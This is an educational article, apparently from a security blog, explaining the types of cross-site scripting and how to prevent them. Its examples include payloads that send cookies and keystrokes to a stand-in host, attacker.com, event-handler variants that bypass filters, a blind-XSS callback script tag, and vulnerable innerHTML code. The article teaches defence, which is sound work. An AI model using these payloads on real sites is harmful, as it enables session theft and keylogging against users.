Status DataClose notification

What Is Cross-Site Scripting (XSS)?

TL;DR: Cross-site scripting (XSS) is a web security vulnerability that allows attackers to inject malicious scripts into pages viewed by other users. When a victim's browser executes the injected script, the attacker can steal session cookies, redirect users to malicious sites, capture keystrokes, or take actions on the victim's behalf, all without needing access to the server itself. XSS consistently ranks among the most common vulnerabilities in web applications and appears in the OWASP Top 10.

XSS works by exploiting the trust a user's browser places in a website. Rather than attacking the application directly, an attacker uses it as a delivery mechanism to reach the people using it.

Types of XSS Attacks

XSS is broadly classified into four types based on how and where the malicious script is stored and executed. Each has a distinct attack path, risk profile, and detection approach.

Reflected XSS

Reflected XSS occurs when user-supplied input is immediately returned by the server in a response, a search result, an error message, or a URL parameter without being stored or properly sanitized. The injected script is "reflected" back to the browser and executed there.

The most common delivery mechanism is a crafted URL. An attacker constructs a link containing a malicious payload and tricks a victim into clicking it through phishing, a redirect, or a shortened URL. The server includes the payload in its response, the victim's browser executes it, and the attacker captures whatever the script is designed to steal.

// Example malicious URL
https://example.com/search?q=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>

Reflected XSS doesn't persist on the server. Each attack requires the victim to click the crafted link. This makes it less scalable than stored XSS but still highly effective in targeted phishing scenarios.

Stored XSS

Stored XSS (also called persistent XSS) occurs when malicious input is saved to the server in a database, comment field, user profile, or message, and later rendered to other users without sanitization. Unlike reflected XSS, the payload doesn't require a crafted link: anyone who views the affected page triggers the script automatically.

This makes stored XSS significantly more dangerous at scale. A single injected payload in a comment section, forum post, or product review field can execute in every browser, which renders it potentially reaching thousands of users from one submission.

// Attacker submits this as a comment
<script>
  fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

// Every user who views the page with this comment
// silently sends their session cookie to the attacker

High-value targets for stored XSS include admin panels, support ticket systems, and any interface where attacker-supplied input is later viewed by privileged users, since triggering XSS in an admin session can lead to full application compromise.

DOM-Based XSS

DOM-based XSS differs from reflected and stored variants in a critical way: the malicious payload never touches the server. Instead, the attack happens entirely in the browser, exploiting JavaScript that reads from an attacker-controlled source (the URL fragment, document.referrer, or localStorage) and writes it directly into the DOM without sanitization.

// Vulnerable client-side code
const name = new URLSearchParams(window.location.search).get('name');
document.getElementById('greeting').innerHTML = 'Hello, ' + name;

// Attacker crafts this URL:
// https://example.com/page?name=<img src=x onerror=alert(document.cookie)>

Because the payload is processed client-side, server-side input validation won't catch it. DOM XSS requires client-side code review and output encoding at the point where data enters the DOM.

Blind XSS

Blind XSS is a subtype of stored XSS where the payload is stored by the server but executes in a completely different application or admin interface that the attacker can't directly access or observe. The attacker submits input to a contact form, feedback field, or support chat, and the payload fires when a staff member or administrator opens it in their backend system.

The defining challenge of blind XSS is that the attacker receives no immediate feedback. There's no error message, no response change, no sign the payload was accepted, which is why detection requires out-of-band tooling rather than standard browser observation.

How to detect blind XSS

The standard approach is to identify submission forms without input validation and submit payloads containing a callback to an external listener. Testing for blind XSS starts by probing fields with special characters (>, <, /, =) if no errors are thrown and the form submits successfully, payload crafting can begin.

The most common payload for blind XSS uses an external script tag:

"><script src="https://yourdomain.com"></script>

Because the XSS won't fire on the page where it was submitted, the attacker needs a notification when the payload triggers elsewhere. XSS Hunter tools serve exactly this purpose: they provide hosted callback URLs and alert when a payload fires, along with a detailed report of what was captured.

XSS Hunter tools

Several services and open-source tools are designed specifically for blind XSS detection:

After setup, these tools provide a payload script that captures a detailed report when triggered, including cookies, browser agent, IP address, page title, referrer, and a screenshot and HTML of the page where the payload fired. The severity of a successful blind XSS finding depends entirely on what data is accessible at the point of execution.

Blind XSS in Web3 contexts

For Web3 applications, blind XSS is particularly dangerous when it fires in KYC management systems or exchange admin interfaces. Execution in those environments can expose private user information at scale, such as name, identity documents, and verification status, from a single injected payload in a user-facing form.

XSS Attack Examples

Beyond the code snippets above, XSS payloads range from simple proof-of-concept alerts to sophisticated attacks:

<!-- Basic proof-of-concept (used in bug bounty reports to confirm execution) -->
<script>alert(1)</script>

<!-- Cookie theft -->
<script>document.location='https://attacker.com/?c='+document.cookie</script>

<!-- Keylogger -->
<script>
  document.onkeypress = function(e) {
    fetch('https://attacker.com/log?key=' + e.key);
  }
</script>

<!-- Redirect -->
<script>window.location.replace('https://phishing-site.com')</script>

<!-- Using event handlers to bypass basic script-tag filters -->
<img src=x onerror="fetch('https://attacker.com/?c='+document.cookie)">
<svg onload="fetch('https://attacker.com/?c='+document.cookie)">

Real-world XSS exploits rarely stop at cookie theft. A successful XSS in an authenticated session can perform any action the victim is authorized to take, submitting forms, changing account settings, making payments, or exfiltrating data, making it a stepping stone to broader compromise rather than just a credential theft vector.

How to Prevent XSS

XSS is preventable with consistent application of a few core practices:

Output encoding. Encode user-supplied data before rendering it in HTML, JavaScript, CSS, or URL contexts. The encoding approach differs by context: HTML entity encoding for content inside HTML tags, JavaScript escaping for data inside script blocks. Libraries like OWASP's Java Encoder or DOMPurify handle this reliably.

Content Security Policy (CSP). A properly configured CSP header instructs the browser to only execute scripts from trusted sources, blocking inline script execution and restricting where scripts can be loaded from. CSP is a defense-in-depth measure. It doesn't replace output encoding, but significantly limits the impact of any XSS that gets through.

Input validation. Reject or sanitize inputs that contain characters with special meaning in HTML and JavaScript contexts (<, >, ", ', &). Validation is most effective as a secondary layer behind output encoding rather than a primary defense, since encoding is context-specific and easier to apply correctly.

Avoid dangerous JavaScript sinks. innerHTML, document.write(), and eval() insert content directly into the DOM without encoding. Replace them with safer alternatives: textContent for plain text, createElement, and appendChild for dynamic DOM construction.

HttpOnly and Secure cookie flags. Setting HttpOnly on session cookies prevents JavaScript from reading them, limiting the impact of XSS even when a payload executes successfully.

For DOM-based XSS specifically: Client-side code review is required. Server-side validation won't catch DOM XSS. Audit all JavaScript that reads from attacker-controlled sources (location.search, document.referrer, localStorage) and ensure it never writes unsanitized data into the DOM.

Conclusion

Cross-site scripting persists as one of the most common vulnerability classes in web applications because the attack surface is broad. Any point where user input reaches a browser is a potential XSS vector, and the impact scales with the privilege level of whoever triggers the payload. A stored XSS in an admin interface is categorically more dangerous than one in a public comment section, and a blind XSS payload sitting in a KYC system or support queue can exfiltrate sensitive data long after it was submitted. Consistent output encoding, a strong CSP, and adversarial testing that goes beyond automated scanning are what close the gap.